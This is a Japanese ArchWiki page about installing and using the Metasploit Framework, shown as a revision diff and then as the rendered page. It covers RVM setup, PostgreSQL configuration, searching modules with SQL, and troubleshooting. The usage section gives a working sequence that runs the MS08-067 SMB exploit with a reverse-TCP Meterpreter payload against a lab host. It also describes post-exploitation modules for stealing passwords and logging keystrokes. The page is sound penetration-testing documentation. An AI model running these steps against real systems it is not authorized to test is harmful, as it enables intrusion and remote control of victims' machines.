「Metasploit Framework」の版間の差分
(en:Metasploit Frameworkへの転送ページ) |
(同期) |
||
(2人の利用者による、間の5版が非表示) | |||
1行目: | 1行目: | ||
+ | [[Category:ネットワーク]] |
||
− | #redirect[[en:Metasploit Framework]] |
||
+ | [[Category:セキュリティ]] |
||
+ | [[en:Metasploit Framework]] |
||
+ | [[ru:Metasploit Framework]] |
||
+ | [http://www.offensive-security.com/metasploit-unleashed/Introduction 公式サイト] より: |
||
+ | :''今日セキュリティの専門家がフリーに使える最も便利な検査ツールといったら MSF しかありません。豊富な商用グレードの exploit と強力な exploit 開発環境、幅広いネットワークの情報収集ツールとウェブの脆弱性発見プラグイン。Metasploit Framework は真に優れた作業環境を提供します。MSF は単なる exploit のコレクションというのを越えて、様々なニーズに答えて利用ができるインフラストラクチャとなっています。車輪の再発明を避けて、あなたのためだけの環境に集中することができるでしょう。'' |
||
+ | |||
+ | 現在、Metasploit を使うには対象環境に Postgresql をセットアップ・設定する必要があります。この記事では Postgresql データベースを使って metasploit を動作させる方法を説明します。 |
||
+ | |||
+ | == インストール == |
||
+ | |||
+ | {{Pkg|metasploit}} パッケージを[[インストール]]してください。任意で以下の RVM の設定手順に従ってください。ruby は依存パッケージとしてインストールされます。 |
||
+ | |||
+ | 最新の開発版を使いたいときは、{{AUR|metasploit-git}} をインストールしてください。 |
||
+ | |||
+ | === Armitage === |
||
+ | |||
+ | [http://www.fastandeasyhacking.com/ Armitage] は [[Java]] で書かれた metasploit の GUI フロントエンドです。{{AUR|armitage}} パッケージでインストールできます。 |
||
+ | |||
+ | Armitage を実行する場合、[[#データベースの設定]]が必須になります。また、必ず {{ic|~/.msf4/database.yml}} ファイルを使う必要があります。 |
||
+ | |||
+ | {{ic|database.yml}} のファイルのサンプルは Armitage のパッケージに {{ic|/usr/share/metasploit/database.yml.sample}} として含まれています。 |
||
+ | |||
+ | === RVM === |
||
+ | |||
+ | Msfconsole は [[Ruby]] を必要とし、エラーなく動かすために多少の [[Ruby#RubyGems]] が必要になります。 |
||
+ | |||
+ | [[RVM#RVM のインストール]] と [[RVM#RVM を使う]] の記事に従って Ruby バージョン 2.3.3 をインストールしてデフォルトで使用するように設定してください。 |
||
+ | |||
+ | 設定が完了したら、新しく作成した RVM 環境を読み込みます: |
||
+ | |||
+ | $ source ~/.rvm/scripts/rvm |
||
+ | |||
+ | そして [[Ruby#Bundler]] を使って Msfconsole を動かすのに必要な gem を全てインストールしてください: |
||
+ | |||
+ | $ gem install bundler |
||
+ | $ bundle install |
||
+ | |||
+ | {{Note|Ruby 2.3.1 よりも古いバージョンを使っていると {{ic|metasploit-concern}} gem のインストールに失敗します。}} |
||
+ | |||
+ | == データベースの設定 == |
||
+ | |||
+ | {{Note|以下、{{ic|msfconsole}} から実行するコマンドには全て {{ic|msf >}} を前に付けます。}} |
||
+ | |||
+ | Metasploit はデータベースがなくても使うことができますが、検索などのキャッシュを使用する操作がとても遅くなります。このセクションでは Metasploit の ''Postgresql'' データベースサーバーをセットアップする方法を説明します。 |
||
+ | |||
+ | {{Note|[[#Armitage]] フロントエンドを使用する場合、データベースの設定は必須です。}} |
||
+ | |||
+ | [[PostgreSQL]] の記事に従って {{ic|msf}} という名前の新しいデータベースを作成してください。データベースの名前は何でもかまいませんが、この記事では {{ic|msf}} ということにします。 |
||
+ | |||
+ | {{ic|msfconsole}} を起動して以下を入力: |
||
+ | |||
+ | msf > db_connect ''user''@msf |
||
+ | |||
+ | ''user'' はデータベースの所有者の名前に置き換えてください (通常はあなたの Linux ユーザー名)。 |
||
+ | |||
+ | データベースキャッシュを再生成: |
||
+ | |||
+ | msf > db_rebuild_cache |
||
+ | |||
+ | Metasploit はバックグラウンドでキャッシュを再生成するため、コマンドの実行中にも他のことができます。 |
||
+ | |||
+ | {{Tip|初めてキャッシュを再生成するときは数分間はかかります。{{ic|top}} や {{Pkg|htop}} を実行することでキャッシュ生成の進捗を監視できます。生成中、Ruby/Postgres/Metasploit プロセスは CPU 時間を 50% まで占有します。}} |
||
+ | |||
+ | 現在 Metasploit では {{ic|msfconsole}} を起動するたびに {{ic|db_connect}} コマンドを実行する必要があります。毎回このコマンドを入力するのが面倒くさい場合、シェルのスタートアップファイル (例: {{ic|~/.bashrc}}) に以下のエイリアスを追加してください: |
||
+ | |||
+ | alias msfconsole="msfconsole --quiet -x \"db_connect ${USER}@msf\"" |
||
+ | |||
+ | {{ic|quiet}} オプションは[[#起動時の ASCII バナーを無効化|起動時の ASCII バナーを無効化]]して、{{ic|-x}} コマンドは起動後すぐに指定されたコマンドを実行します。 |
||
+ | |||
+ | {{ic|.msf4}} ディレクトリに {{ic|database.yml}} ファイルを作成する方法もあります。例: |
||
+ | |||
+ | {{hc|~/.msf4/database.yml| |
||
+ | production: |
||
+ | adapter: postgresql |
||
+ | database: msf |
||
+ | username: ${USER} |
||
+ | password: ${PASS} |
||
+ | host: localhost |
||
+ | port: 5432 |
||
+ | pool: 5 |
||
+ | timeout: 5 |
||
+ | }} |
||
+ | |||
+ | {{Note|データベースキャッシュを作成する必要があるのは一度だけです。その後は起動時に、{{ic|msfconsole}} から {{ic|[*] Rebuilding the module cache in the background...}} と表示されますが、実際には変更された部分だけが更新されます。データベースに何の変更も行われなかったときは、1秒もかかりません。}} |
||
+ | |||
+ | {{ic|db_status}} を実行してデータベースの接続が正しく確立していることを確認してください: |
||
+ | |||
+ | {{hc|msf > db_status| |
||
+ | [*] postgresql connected to msf |
||
+ | }} |
||
+ | |||
+ | == 使用方法 == |
||
+ | |||
+ | Metasploit では複数のインターフェイスが使えます。このセクションでは MSF の大抵の機能を使えるインターフェイスである {{ic|msfconsole}} を利用する方法を説明します。 |
||
+ | |||
+ | 起動するには、{{ic|msfconsole}} と入力してください。プロンプトが {{ic|msf >}} に代わり、コマンドの入力を待機していることがわかります。 |
||
+ | |||
+ | {{Tip|以下で説明している Metasploit コマンドに加え、標準のシェルコマンドやスクリプトに {{ic|$PATH}} が通ります (エイリアスは除く)。}} |
||
+ | |||
+ | === モジュールのタイプ === |
||
+ | |||
+ | Metasploit ではあらゆるもの (スクリプト、ファイル、プログラムなど) がモジュールとなっています。6種類のモジュールが存在します: |
||
+ | |||
+ | * {{ic|auxiliary}} - [[Nmap|ポートスキャン]]やバージョン検出、ネットワークトラフィックの解析など、攻撃者の様々な作業を補助するモジュール。 |
||
+ | * {{ic|exploit}} - 脆弱性を利用して、バッファオーバーフローを起こしたり認証を迂回して、ペイロードの実行をできるようにするコード。 |
||
+ | * {{ic|payload}} - リモート接続の確立や meterpreter セッションの開始、シェルコマンドの実行など、exploit が成功した後にすぐ実行すること。 |
||
+ | * {{ic|post}} - exploit とリモート接続が成功した後に、パスワードを盗取したりキーロガーを設定、あるいはファイルをダウンロードするために実行する様々なプログラム。 |
||
+ | * {{ic|encoder}} - 暗号化を実行するためのプログラム。 |
||
+ | * {{ic|nop}} - ''NOP'' ジェネレータ。''NOP'' は何もしないアセンブリ言語の命令です。この命令の機械語はハードウェアのアーキテクチャによって異なります。''NOP'' 命令は実行可能ファイルの空白を埋めるのに有用です。 |
||
+ | |||
+ | === exploit の検索 === |
||
+ | |||
+ | 対象のシステムで動いているオペレーティングシステムとソフトウェアのバージョンを調べるには、[[Nmap|ポートスキャン]]を実行します。ポートスキャンの情報を使って、{{ic|search}} コマンドで利用可能な exploit を検索することができます。 |
||
+ | |||
+ | 例えば、Novell の Linux プラットフォームの exploit を全て検索するには: |
||
+ | |||
+ | msf > search platform:linux type:exploit name:Novell |
||
+ | |||
+ | 特定のフィールドを検索したいときは、フィールドの名前の後ろに、コロンと検索フレーズを入力します。以下の検索フィールドが使えます: |
||
+ | |||
+ | {| class="wikitable" |
||
+ | ! style=white-space:nowrap | 検索フィールド |
||
+ | ! style=white-space:nowrap | 説明 |
||
+ | ! style=white-space:nowrap | 入力可能な値 |
||
+ | ! style=white-space:nowrap | DB テーブル & カラム |
||
+ | |- |
||
+ | | {{ic|app}} |
||
+ | | style=white-space:nowrap | Passive (client) あるいは Active (server) な exploit |
||
+ | | {{ic|client}}, {{ic|server}} |
||
+ | | style=white-space:nowrap | {{ic|module_details.stance}} |
||
+ | |- |
||
+ | | {{ic|author}} |
||
+ | | style=white-space:nowrap | モジュールの作者の名前とメールアドレス |
||
+ | | 何でも入力可能 |
||
+ | | style=white-space:nowrap | {{ic|module_authors.name}} |
||
+ | |- |
||
+ | | {{ic|type}} |
||
+ | | style=white-space:nowrap | [[#モジュールのタイプ|モジュールのタイプ]] |
||
+ | | {{ic|auxiliary}}, {{ic|exploit}}, {{ic|payload}}, {{ic|post}}, {{ic|encoder}}, {{ic|nop}} |
||
+ | | style=white-space:nowrap | {{ic|module_details.mtype}} |
||
+ | |- |
||
+ | | {{ic|name}} |
||
+ | | style=white-space:nowrap | パス (Name) と短い説明 |
||
+ | | 何でも入力可能 |
||
+ | | {{ic|module_details.fullname}}, {{ic|module_details.name}} |
||
+ | |- |
||
+ | | {{ic|platform}} |
||
+ | | style=white-space:nowrap | 対象ハードウェアあるいはソフトウェアプラットフォーム |
||
+ | | {{ic|bsdi}}, {{ic|netware}}, {{ic|linux}}, {{ic|hpux}}, {{ic|irix}}, {{ic|osx}}, {{ic|bsd}}, {{ic|platform}}, {{ic|java}}, {{ic|javascript}}, {{ic|unix}}, {{ic|php}}, {{ic|firefox}}, {{ic|nodejs}}, {{ic|ruby}}, {{ic|cisco}}, {{ic|android}}, {{ic|aix}}, {{ic|windows}}, {{ic|python}}, {{ic|solaris}} |
||
+ | | style=white-space:nowrap | {{ic|module_platforms.name}} |
||
+ | |- |
||
+ | | {{ic|bid}}, {{ic|cve}}, {{ic|edb}}, {{ic|osvdb}}, {{ic|ref}} |
||
+ | | [http://www.securityfocus.com/ Bugtraq], [http://www.cvedetails.com/ CVE], [http://www.exploit-db.com/ Exploit-DB], [http://www.osvdb.org/ OSBDB] ID など |
||
+ | | Exploit データベースのエントリ ID あるいは上流のレポート URL の一部 |
||
+ | | style=white-space:nowrap | {{ic|module_refs.name}} |
||
+ | |- |
||
+ | | (No field) |
||
+ | | 上記の {{ic|app}} と {{ic|type}} を除く全て |
||
+ | | 何でも入力可能 |
||
+ | | 上記の全て |
||
+ | |} |
||
+ | |||
+ | 高度な検索方法は [[#データベースから検索]] や [[#データベース検索のサンプル]] を見て下さい。 |
||
+ | |||
+ | === exploit を使う === |
||
+ | |||
+ | 適当な exploit を選択したら、ハッキングの時間です。 |
||
+ | |||
+ | まず {{ic|use}} コマンドを使って exploit を選択: |
||
+ | |||
+ | msf > use exploit/windows/smb/ms08_067_netapi |
||
+ | |||
+ | {{Note|{{ic|ms08_067_netapi}} は Windows XP と Windows Server 2003 の SMB サービスに影響を与える最も有名な exploit の一つです。2008年に公開された exploit で、ファイアウォールが無効になっていてパッチが適用されていないシステムなら、かなり確実に exploit することができます。}} |
||
+ | |||
+ | モジュールの情報を表示するには、{{ic|info}} コマンドを使用: |
||
+ | |||
+ | msf exploit(ms08_067_netapi) > info exploit/windows/smb/ms08_067_netapi |
||
+ | |||
+ | 何も引数を付けないで {{ic|info}} を実行すると、現在選択されているモジュールの情報が表示されます。 |
||
+ | |||
+ | 選択した exploit のオプションを確認するには、次を実行: |
||
+ | |||
+ | {{hc|msf exploit(ms08_067_netapi) > show options| |
||
+ | Module options (exploit/windows/smb/ms08_067_netapi): |
||
+ | |||
+ | Name Current Setting Required Description |
||
+ | ---- --------------- -------- ----------- |
||
+ | RHOST yes The target address |
||
+ | RPORT 445 yes Set the SMB service port |
||
+ | SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC) |
||
+ | |||
+ | ... |
||
+ | }} |
||
+ | |||
+ | exploit する前に必要なフィールドを全て設定してください。上記の場合、{{ic|RHOST}} 変数を指定する必要があります。変数に値を指定するには {{ic|set}} コマンドを使います: |
||
+ | |||
+ | msf exploit(ms08_067_netapi) > set RHOST 192.168.56.102 |
||
+ | |||
+ | そしてペイロードを選択: |
||
+ | |||
+ | msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/reverse_tcp |
||
+ | |||
+ | {{Note|Meterpreter は Metasploit に組み込まれたコマンドシェルで、攻撃者はこれを使って exploit されたシステムでリモートコマンドを実行することができます。exploit したコンピュータから exploit を仕掛けたコンピュータに接続を確立するときは Reverse TCP が使われます。}} |
||
+ | |||
+ | ペイロードを選択 (つまりモジュールを選択) するとオプションが増えます。もう一度 {{ic|show options}} を実行してください: |
||
+ | |||
+ | {{hc|msf exploit(ms08_067_netapi) > show options| |
||
+ | Module options (exploit/windows/smb/ms08_067_netapi): |
||
+ | |||
+ | Name Current Setting Required Description |
||
+ | ---- --------------- -------- ----------- |
||
+ | RHOST 192.168.56.102 yes The target address |
||
+ | RPORT 445 yes Set the SMB service port |
||
+ | SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC) |
||
+ | |||
+ | |||
+ | Payload options (windows/meterpreter/reverse_tcp): |
||
+ | |||
+ | Name Current Setting Required Description |
||
+ | ---- --------------- -------- ----------- |
||
+ | EXITFUNC thread yes Exit technique (accepted: seh, thread, process, none) |
||
+ | LHOST yes The listen address |
||
+ | LPORT 4444 yes The listen port |
||
+ | }} |
||
+ | |||
+ | {{ic|LHOST}} 変数にあなたのコンピュータのアドレスを指定してください。exploit されたコンピュータはそのアドレスに接続リクエストを送信します: |
||
+ | |||
+ | msf exploit(ms08_067_netapi) > set LHOST 192.168.56.1 |
||
+ | |||
+ | では攻撃を開始してください: |
||
+ | |||
+ | msf exploit(ms08_067_netapi) > exploit |
||
+ | |||
+ | 上手く行けば、Meterpreter セッションが表示され、リモートコンピュータであらゆることができるようになります。 |
||
+ | |||
+ | == ヒントとテクニック == |
||
+ | |||
+ | === データベースから検索 === |
||
+ | |||
+ | Metasploit ではあらゆるものがデータベースに保存されるため、フロントエンドコマンドの {{ic|search}} を使わなくても強力な検索を使うことが簡単にできます。 |
||
+ | |||
+ | データベースインターフェイスを起動するには、次を実行: |
||
+ | |||
+ | $ psql msf |
||
+ | |||
+ | モジュールに関する情報は8つのテーブルに保存されています: |
||
+ | |||
+ | {| class="wikitable" |
||
+ | !テーブル名 |
||
+ | !中身 |
||
+ | |- |
||
+ | |{{ic|module_details}} |
||
+ | |"メイン"のテーブルで、各モジュールの詳細情報が入っています。 |
||
+ | |- |
||
+ | |{{ic|module_actions}} |
||
+ | |''auxiliary'' モジュールのアクション名。 |
||
+ | |- |
||
+ | |{{ic|module_archs}} |
||
+ | |対象ハードウェアのアーキテクチャやソフトウェアのプラットフォーム |
||
+ | |- |
||
+ | |{{ic|module_authors}} |
||
+ | |モジュールの作者の名前とメールアドレス。 |
||
+ | |- |
||
+ | |{{ic|module_mixins}} |
||
+ | |空 (???) |
||
+ | |- |
||
+ | |{{ic|module_platforms}} |
||
+ | |対象オペレーティングシステム。[[#exploit の数によるプラットフォームの人気度]] も参照。 |
||
+ | |- |
||
+ | |{{ic|module_refs}} |
||
+ | |様々なオンラインの exploit データベースとレポートのリファレンス。 |
||
+ | |- |
||
+ | |{{ic|module_targets}} |
||
+ | |''exploit'' 対象のプログラムの名前とバージョン。 |
||
+ | |} |
||
+ | |||
+ | {{Tip|テーブルの情報を詳しく見たい場合は {{ic|\d+ ''table_name''}} を実行してください。例: {{ic|\d+ module_details}}。}} |
||
+ | |||
+ | ほとんどのテーブルには3つカラムがあります: {{ic|id}}, {{ic|detail_id}}, {{ic|name}}。例外的に {{ic|module_details}} テーブルは16のカラムがあります。 |
||
+ | |||
+ | {{ic|detail_id}} の値は {{ic|module_details}} テーブルの行数のポインタです。 |
||
+ | |||
+ | テーブルの中身を全て表示するには、次を実行: |
||
+ | |||
+ | SELECT * FROM ''table_name''; |
||
+ | |||
+ | マルチ: |
||
+ | |||
+ | * Architecture |
||
+ | * Platform |
||
+ | * Target |
||
+ | |||
+ | モジュールのオプション: |
||
+ | |||
+ | * module type |
||
+ | * stance |
||
+ | * privileged |
||
+ | * path |
||
+ | * name |
||
+ | * refname |
||
+ | * rank |
||
+ | * privileged |
||
+ | * disclosure date |
||
+ | |||
+ | === データベース検索のサンプル === |
||
+ | |||
+ | {{ic|module_details}} テーブルには複数のカラムがあり、全ての情報を一度に表示するのは得策ではありません。モジュールの基本的な情報だけを表示するには: |
||
+ | |||
+ | SELECT id, mtype, refname, disclosure_date, rank, stance, name |
||
+ | FROM module_details; |
||
+ | |||
+ | {{ic|module_platforms}} のプラットフォーム情報を含む、利用可能なモジュールの情報を表示: |
||
+ | |||
+ | SELECT module_details.id, mtype, module_platforms.name as platform, refname, DATE(disclosure_date), rank, module_details.name |
||
+ | FROM module_details JOIN module_platforms ON module_details.id = module_platforms.detail_id; |
||
+ | |||
+ | Windows プラットフォームの全てのクライアント (aggressive) exploit を表示: |
||
+ | |||
+ | SELECT module_details.id, mtype, module_platforms.name as platform, refname, DATE(disclosure_date), rank, module_details.name |
||
+ | FROM module_details JOIN module_platforms ON module_details.id = module_platforms.detail_id |
||
+ | WHERE module_platforms.name = 'windows' |
||
+ | AND mtype = 'exploit' |
||
+ | AND stance = 'aggressive'; |
||
+ | |||
+ | 2013年以後に発表された rank >= 500 の Windows プラットフォーム用の exploit を全て表示: |
||
+ | |||
+ | SELECT module_details.id, mtype, module_platforms.name as platform, refname, DATE(disclosure_date), rank, module_details.name |
||
+ | FROM module_details JOIN module_platforms ON module_details.id = module_platforms.detail_id |
||
+ | WHERE module_platforms.name = 'windows' |
||
+ | AND mtype = 'exploit' |
||
+ | AND rank >= 500 |
||
+ | AND disclosure_date >= TIMESTAMP '2013-1-1'; |
||
+ | |||
+ | rank >= 500 の Windows プラットフォームの aggressive (client) exploit を全て表示、モジュールの対象情報も含む: |
||
+ | |||
+ | SELECT module_details.id, mtype, module_platforms.name as platform, module_details.name, DATE(disclosure_date), rank, module_targets.name as target |
||
+ | FROM module_details JOIN module_platforms ON module_details.id = module_platforms.detail_id JOIN module_targets on module_details.id = module_targets.detail_id |
||
+ | WHERE module_platforms.name = 'windows' |
||
+ | AND mtype = 'exploit' |
||
+ | AND stance = 'aggressive' |
||
+ | AND rank >= 500 |
||
+ | order by target; |
||
+ | |||
+ | === exploit の数によるプラットフォームの人気度 === |
||
+ | |||
+ | 利用可能な {{ic|platform}} の値と、利用可能な exploit の数を調べるには、{{ic|psql}} から以下を実行: |
||
+ | |||
+ | SELECT name, count(*) |
||
+ | FROM module_platforms |
||
+ | GROUP BY name |
||
+ | ORDER BY count DESC; |
||
+ | |||
+ | === 起動時の ASCII バナーを無効化 === |
||
+ | |||
+ | バナーを無効化するには、{{ic|-q}}/{{ic|--quiet}} 引数を付けて {{ic|msfconsole}} を実行してください: |
||
+ | |||
+ | $ msfconsole --quiet |
||
+ | |||
+ | === セッションが変わっても変数の値を維持する === |
||
+ | |||
+ | 他のモジュールを選択したときや {{ic|msfconsole}} を再起動したときに変数がリセットされるのが気に食わない場合、{{ic|setg}} で変数をグローバルに設定してください。例: |
||
+ | |||
+ | msf > setg RHOST 192.168.56.102 |
||
+ | |||
+ | == トラブルシューティング == |
||
+ | |||
+ | === VNC ビューアでクリックできない === |
||
+ | |||
+ | ペイロードとして VNC ビューアを選択したときに、クリックができない、あるいは何もできない場合、{{ic|ViewOnly}} 変数を {{ic|false}} に設定するのを忘れています。この問題を修正するには、変数を {{ic|false}} に設定してから exploit を再度実行してください: |
||
+ | |||
+ | msf > set ViewOnly false |
||
+ | |||
+ | === cannot load such file -- robots (LoadError) === |
||
+ | |||
+ | 以下のようなエラーが表示される場合: |
||
+ | |||
+ | ~/metasploit-framework/lib/metasploit/framework.rb:19:in `require': cannot load such file -- robots (LoadError) |
||
+ | from ~/metasploit-framework/lib/metasploit/framework.rb:19:in `<top (required)>' |
||
+ | from ~/metasploit-framework/lib/metasploit/framework/database.rb:1:in `require' |
||
+ | from ~/metasploit-framework/lib/metasploit/framework/database.rb:1:in `<top (required)>' |
||
+ | from ~/metasploit-framework/lib/metasploit/framework/parsed_options/base.rb:17:in `require' |
||
+ | from ~/metasploit-framework/lib/metasploit/framework/parsed_options/base.rb:17:in `<top (required)>' |
||
+ | from ~/metasploit-framework/lib/metasploit/framework/parsed_options/console.rb:2:in `<top (required)>' |
||
+ | from /opt/ruby1.9/lib/ruby/gems/1.9.1/gems/activesupport-3.2.19/lib/active_support/inflector/methods.rb:230:in `const_get' |
||
+ | from /opt/ruby1.9/lib/ruby/gems/1.9.1/gems/activesupport-3.2.19/lib/active_support/inflector/methods.rb:230:in `block in constantize' |
||
+ | from /opt/ruby1.9/lib/ruby/gems/1.9.1/gems/activesupport-3.2.19/lib/active_support/inflector/methods.rb:229:in `each' |
||
+ | from /opt/ruby1.9/lib/ruby/gems/1.9.1/gems/activesupport-3.2.19/lib/active_support/inflector/methods.rb:229:in `constantize' |
||
+ | from /opt/ruby1.9/lib/ruby/gems/1.9.1/gems/activesupport-3.2.19/lib/active_support/core_ext/string/inflections.rb:54:in `constantize' |
||
+ | from ~/metasploit-framework/lib/metasploit/framework/command/base.rb:73:in `parsed_options_class' |
||
+ | from ~/metasploit-framework/lib/metasploit/framework/command/base.rb:69:in `parsed_options' |
||
+ | from ~/metasploit-framework/lib/metasploit/framework/command/base.rb:47:in `require_environment!' |
||
+ | from ~/metasploit-framework/lib/metasploit/framework/command/base.rb:81:in `start' |
||
+ | from ./msfconsole:48:in `<main>' |
||
+ | |||
+ | このエラーは {{ic|robots.rb}} ファイルのパーミッションが不適切で root ユーザーからしか読み取れなくなっているのが原因です ([https://github.com/fizx/robots/issues/6 バグレポート] を参照): |
||
+ | |||
+ | {{hc|$ ls -l /opt/ruby1.9/lib/ruby/gems/1.9.1/gems/robots-0.10.1/lib| |
||
+ | total 4 |
||
+ | -rw-r----- 1 root root 3174 Oct 19 16:47 robots.rb |
||
+ | }} |
||
+ | |||
+ | エラーを修正するには、誰からでも読み取れるようにパーミッションを変更してください: |
||
+ | |||
+ | # chmod o+r /opt/ruby1.9/lib/ruby/gems/1.9.1/gems/robots-0.10.1/lib/robots.rb |
||
+ | |||
+ | === db_connect が何もエラーを表示しないで失敗する === |
||
+ | |||
+ | {{ic|db_connect}} の実行時に何も出力がされず、遅れて以下のようなメッセージが表示される場合: |
||
+ | |||
+ | [!] Database not connected or cache not built, using slow search |
||
+ | |||
+ | おそらく {{ic|postgresql}} サービスが動いていません。 |
||
+ | |||
+ | == 参照 == |
||
+ | |||
+ | * [https://www.offensive-security.com/metasploit-unleashed/Main_Page Metasploit Unleashed セキュリティトレーニング] |
||
+ | * [https://github.com/rapid7/metasploit-framework/wiki Metasploit wiki on GitHub] |
||
+ | * [https://en.wikibooks.org/wiki/Metasploit The Metasploit Book] |
2017年12月6日 (水) 23:48時点における最新版
公式サイト より:
- 今日セキュリティの専門家がフリーに使える最も便利な検査ツールといったら MSF しかありません。豊富な商用グレードの exploit と強力な exploit 開発環境、幅広いネットワークの情報収集ツールとウェブの脆弱性発見プラグイン。Metasploit Framework は真に優れた作業環境を提供します。MSF は単なる exploit のコレクションというのを越えて、様々なニーズに答えて利用ができるインフラストラクチャとなっています。車輪の再発明を避けて、あなたのためだけの環境に集中することができるでしょう。
現在、Metasploit を使うには対象環境に Postgresql をセットアップ・設定する必要があります。この記事では Postgresql データベースを使って metasploit を動作させる方法を説明します。
インストール
metasploit パッケージをインストールしてください。任意で以下の RVM の設定手順に従ってください。ruby は依存パッケージとしてインストールされます。
最新の開発版を使いたいときは、metasploit-gitAUR をインストールしてください。
Armitage
Armitage は Java で書かれた metasploit の GUI フロントエンドです。armitageAUR パッケージでインストールできます。
Armitage を実行する場合、#データベースの設定が必須になります。また、必ず ~/.msf4/database.yml
ファイルを使う必要があります。
database.yml
のファイルのサンプルは Armitage のパッケージに /usr/share/metasploit/database.yml.sample
として含まれています。
RVM
Msfconsole は Ruby を必要とし、エラーなく動かすために多少の Ruby#RubyGems が必要になります。
RVM#RVM のインストール と RVM#RVM を使う の記事に従って Ruby バージョン 2.3.3 をインストールしてデフォルトで使用するように設定してください。
設定が完了したら、新しく作成した RVM 環境を読み込みます:
$ source ~/.rvm/scripts/rvm
そして Ruby#Bundler を使って Msfconsole を動かすのに必要な gem を全てインストールしてください:
$ gem install bundler $ bundle install
データベースの設定
Metasploit はデータベースがなくても使うことができますが、検索などのキャッシュを使用する操作がとても遅くなります。このセクションでは Metasploit の Postgresql データベースサーバーをセットアップする方法を説明します。
PostgreSQL の記事に従って msf
という名前の新しいデータベースを作成してください。データベースの名前は何でもかまいませんが、この記事では msf
ということにします。
msfconsole
を起動して以下を入力:
msf > db_connect user@msf
user はデータベースの所有者の名前に置き換えてください (通常はあなたの Linux ユーザー名)。
データベースキャッシュを再生成:
msf > db_rebuild_cache
Metasploit はバックグラウンドでキャッシュを再生成するため、コマンドの実行中にも他のことができます。
現在 Metasploit では msfconsole
を起動するたびに db_connect
コマンドを実行する必要があります。毎回このコマンドを入力するのが面倒くさい場合、シェルのスタートアップファイル (例: ~/.bashrc
) に以下のエイリアスを追加してください:
alias msfconsole="msfconsole --quiet -x \"db_connect ${USER}@msf\""
quiet
オプションは起動時の ASCII バナーを無効化して、-x
コマンドは起動後すぐに指定されたコマンドを実行します。
.msf4
ディレクトリに database.yml
ファイルを作成する方法もあります。例:
~/.msf4/database.yml
production: adapter: postgresql database: msf username: ${USER} password: ${PASS} host: localhost port: 5432 pool: 5 timeout: 5
db_status
を実行してデータベースの接続が正しく確立していることを確認してください:
msf > db_status
[*] postgresql connected to msf
使用方法
Metasploit では複数のインターフェイスが使えます。このセクションでは MSF の大抵の機能を使えるインターフェイスである msfconsole
を利用する方法を説明します。
起動するには、msfconsole
と入力してください。プロンプトが msf >
に代わり、コマンドの入力を待機していることがわかります。
モジュールのタイプ
Metasploit ではあらゆるもの (スクリプト、ファイル、プログラムなど) がモジュールとなっています。6種類のモジュールが存在します:
auxiliary
- ポートスキャンやバージョン検出、ネットワークトラフィックの解析など、攻撃者の様々な作業を補助するモジュール。exploit
- 脆弱性を利用して、バッファオーバーフローを起こしたり認証を迂回して、ペイロードの実行をできるようにするコード。payload
- リモート接続の確立や meterpreter セッションの開始、シェルコマンドの実行など、exploit が成功した後にすぐ実行すること。post
- exploit とリモート接続が成功した後に、パスワードを盗取したりキーロガーを設定、あるいはファイルをダウンロードするために実行する様々なプログラム。encoder
- 暗号化を実行するためのプログラム。nop
- NOP ジェネレータ。NOP は何もしないアセンブリ言語の命令です。この命令の機械語はハードウェアのアーキテクチャによって異なります。NOP 命令は実行可能ファイルの空白を埋めるのに有用です。
exploit の検索
対象のシステムで動いているオペレーティングシステムとソフトウェアのバージョンを調べるには、ポートスキャンを実行します。ポートスキャンの情報を使って、search
コマンドで利用可能な exploit を検索することができます。
例えば、Novell の Linux プラットフォームの exploit を全て検索するには:
msf > search platform:linux type:exploit name:Novell
特定のフィールドを検索したいときは、フィールドの名前の後ろに、コロンと検索フレーズを入力します。以下の検索フィールドが使えます:
検索フィールド | 説明 | 入力可能な値 | DB テーブル & カラム |
---|---|---|---|
app
|
Passive (client) あるいは Active (server) な exploit | client , server
|
module_details.stance
|
author
|
モジュールの作者の名前とメールアドレス | 何でも入力可能 | module_authors.name
|
type
|
モジュールのタイプ | auxiliary , exploit , payload , post , encoder , nop
|
module_details.mtype
|
name
|
パス (Name) と短い説明 | 何でも入力可能 | module_details.fullname , module_details.name
|
platform
|
対象ハードウェアあるいはソフトウェアプラットフォーム | bsdi , netware , linux , hpux , irix , osx , bsd , platform , java , javascript , unix , php , firefox , nodejs , ruby , cisco , android , aix , windows , python , solaris
|
module_platforms.name
|
bid , cve , edb , osvdb , ref
|
Bugtraq, CVE, Exploit-DB, OSBDB ID など | Exploit データベースのエントリ ID あるいは上流のレポート URL の一部 | module_refs.name
|
(No field) | 上記の app と type を除く全て
|
何でも入力可能 | 上記の全て |
高度な検索方法は #データベースから検索 や #データベース検索のサンプル を見て下さい。
exploit を使う
適当な exploit を選択したら、ハッキングの時間です。
まず use
コマンドを使って exploit を選択:
msf > use exploit/windows/smb/ms08_067_netapi
モジュールの情報を表示するには、info
コマンドを使用:
msf exploit(ms08_067_netapi) > info exploit/windows/smb/ms08_067_netapi
何も引数を付けないで info
を実行すると、現在選択されているモジュールの情報が表示されます。
選択した exploit のオプションを確認するには、次を実行:
msf exploit(ms08_067_netapi) > show options
Module options (exploit/windows/smb/ms08_067_netapi): Name Current Setting Required Description ---- --------------- -------- ----------- RHOST yes The target address RPORT 445 yes Set the SMB service port SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC) ...
exploit する前に必要なフィールドを全て設定してください。上記の場合、RHOST
変数を指定する必要があります。変数に値を指定するには set
コマンドを使います:
msf exploit(ms08_067_netapi) > set RHOST 192.168.56.102
そしてペイロードを選択:
msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/reverse_tcp
ペイロードを選択 (つまりモジュールを選択) するとオプションが増えます。もう一度 show options
を実行してください:
msf exploit(ms08_067_netapi) > show options
Module options (exploit/windows/smb/ms08_067_netapi): Name Current Setting Required Description ---- --------------- -------- ----------- RHOST 192.168.56.102 yes The target address RPORT 445 yes Set the SMB service port SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC) Payload options (windows/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC thread yes Exit technique (accepted: seh, thread, process, none) LHOST yes The listen address LPORT 4444 yes The listen port
LHOST
変数にあなたのコンピュータのアドレスを指定してください。exploit されたコンピュータはそのアドレスに接続リクエストを送信します:
msf exploit(ms08_067_netapi) > set LHOST 192.168.56.1
では攻撃を開始してください:
msf exploit(ms08_067_netapi) > exploit
上手く行けば、Meterpreter セッションが表示され、リモートコンピュータであらゆることができるようになります。
